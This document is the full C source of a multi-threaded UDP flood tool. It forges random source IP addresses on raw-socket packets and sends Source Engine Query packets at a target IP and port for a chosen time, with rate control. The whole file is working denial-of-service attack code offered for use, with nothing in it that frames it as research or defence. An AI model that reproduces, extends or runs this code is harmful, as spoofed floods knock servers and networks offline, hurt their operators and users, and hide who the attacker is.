udp.c

/* Just another spoofed UDP flooder, written in C */

#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
void init_rand(unsigned long int x)
{
        int i;
        Q[0] = x;
        Q[1] = x + PHI;
        Q[2] = x + PHI + PHI;
        for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
        unsigned long long int t, a = 18782LL;
        static unsigned long int i = 4095;
        unsigned long int x, r = 0xfffffffe;
        i = (i + 1) & 4095;
        t = a * Q[i] + c;
        c = (t >> 32);
        x = t + c;
        if (x < c) {
        x++;
        c++;
        }
        return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
        register unsigned long sum = 0;
        while( count > 1 ) { sum += *buf++; count -= 2; }
        if(count > 0) { sum += *(unsigned char *)buf; }
        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
        return (unsigned short)(~sum);
}
unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph) {
        struct udp_pseudo
        {
        unsigned long src_addr;
        unsigned long dst_addr;
        unsigned char zero;
        unsigned char proto;
        unsigned short length;
        } pseudohead;
        unsigned short total_len = iph->tot_len;
        pseudohead.src_addr=iph->saddr;
        pseudohead.dst_addr=iph->daddr;
        pseudohead.zero=0;
        pseudohead.proto=IPPROTO_UDP;
        pseudohead.length=htons(sizeof(struct udphdr));
        int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr);
        unsigned short *udp = malloc(totaludp_len);
        memcpy((unsigned char *)udp,&pseudohead,sizeof(struct udp_pseudo));
        memcpy((unsigned char *)udp+sizeof(struct udp_pseudo),(unsigned char *)udph,sizeof(struct udphdr));
        unsigned short output = csum(udp,totaludp_len);
        free(udp);
        return output;
}
void setup_ip_header(struct iphdr *iph)
{
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
        iph->id = htonl(54321);
        iph->frag_off = 0;
        iph->ttl = MAXTTL;
        iph->protocol = IPPROTO_UDP;
        iph->check = 0;
        iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
        udph->source = htons(5678);
        udph->check = 0;
        memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 25);
        udph->len=htons(sizeof(struct udphdr) + 25);
}
void *flood(void *par1)
{
        char *td = (char *)par1;
        char datagram[MAX_PACKET_SIZE];
        struct iphdr *iph = (struct iphdr *)datagram;
        struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(floodport);
        sin.sin_addr.s_addr = inet_addr(td);
        int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if(s < 0){
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
        }
        memset(datagram, 0, MAX_PACKET_SIZE);
        setup_ip_header(iph);
        setup_udp_header(udph);
        udph->dest = htons(floodport);
        iph->daddr = sin.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
        int tmp = 1;
        const int *val = &tmp;
        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
        }
        init_rand(time(NULL));
        register unsigned int i;
        i = 0;
        while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
        iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
        udph->source = htons(rand_cmwc() & 0xFFFF);
        udph->check = 0;
        udph->check = udpcsum(iph, udph);
        pps++;
        if(i >= limiter)
        {
        i = 0;
        usleep(sleeptime);
        }
        i++;
        }
}
int main(int argc, char *argv[ ])
{
        if(argc < 6){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <throttle, -1 for no limit> <time>\n", argv[0]);
        exit(-1);
        }
        fprintf(stdout, "Setting up Sockets...\n");
        int num_threads = atoi(argv[3]);
        floodport = atoi(argv[2]);
        int maxpps = atoi(argv[4]);
        limiter = 0;
        pps = 0;
        pthread_t thread[num_threads];
        int multiplier = 20;
        int i;
        for(i = 0;i<num_threads;i++){
        pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
        }
        fprintf(stdout, "Starting Flood...\n");
        for(i = 0;i<(atoi(argv[5])*multiplier);i++)
        {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
        if(1 > limiter)
        {
        sleeptime+=100;
        } else {
        limiter--;
        }
        } else {
        limiter++;
        if(sleeptime > 25)
        {
        sleeptime-=25;
        } else {
        sleeptime = 0;
        }
        }
        pps = 0;
        }
        return 0;
}